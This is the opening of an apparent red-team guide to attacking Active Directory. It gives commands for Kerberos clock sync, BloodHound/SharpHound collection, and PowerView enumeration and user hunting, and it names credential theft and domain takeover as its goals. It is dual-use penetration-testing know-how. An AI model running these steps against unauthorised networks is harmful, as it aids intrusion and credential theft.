Active Directory Attacks

Active Directory Attacks

Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Inputs/Prerequisites

• Kali Linux or Windows attack platform
• Domain user credentials (for most attacks)
• Network access to Domain Controller
• Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Outputs/Deliverables

• Domain enumeration data
• Extracted credentials and hashes
• Kerberos tickets for impersonation
• Domain Administrator access
• Persistent access mechanisms

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Essential Tools

Tool	Purpose
BloodHound	AD attack path visualization
Impacket	Python AD attack tools
Mimikatz	Credential extraction
Rubeus	Kerberos attacks
CrackMapExec	Network exploitation
PowerView	AD enumeration
Responder	LLMNR/NBT-NS poisoning

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Core Workflow

Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>

Step 2: AD Reconnaissance with BloodHound

# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Step 3: PowerView Enumeration

# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth